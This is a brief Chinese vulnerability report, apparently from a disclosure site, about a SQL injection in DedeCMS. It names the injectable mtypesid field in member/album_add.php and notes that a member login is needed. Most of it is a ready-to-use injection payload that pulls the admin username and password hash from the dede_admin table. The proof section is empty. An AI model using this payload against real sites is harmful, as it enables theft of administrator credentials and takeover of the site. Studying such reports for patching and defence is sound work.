漏洞需要会员，所以比较鸡肋啦[/p]详细说明：[p=25, null, left][color=rgb(0, 0, 0)]发表文章处，post表单的mtypesid可以注入
/dedecmsnew/member/album_add.php
注入的代码：
mtypesid=1'),("'",'0','1367930810','p','0','2','-1','0','0',(SELECT concat(userid,0x5f,pwd,0x5f) FROM dede_admin where userid='admin'),'',
'','12333','','','1367930810','1367930810','4','image','test','3')#@`'`'
[/p][p=25, null, left][color=rgb(0, 0, 0)]
[/p]
漏洞证明：
[p=25, null, left][color=rgb(0, 0, 0)]
[/p]
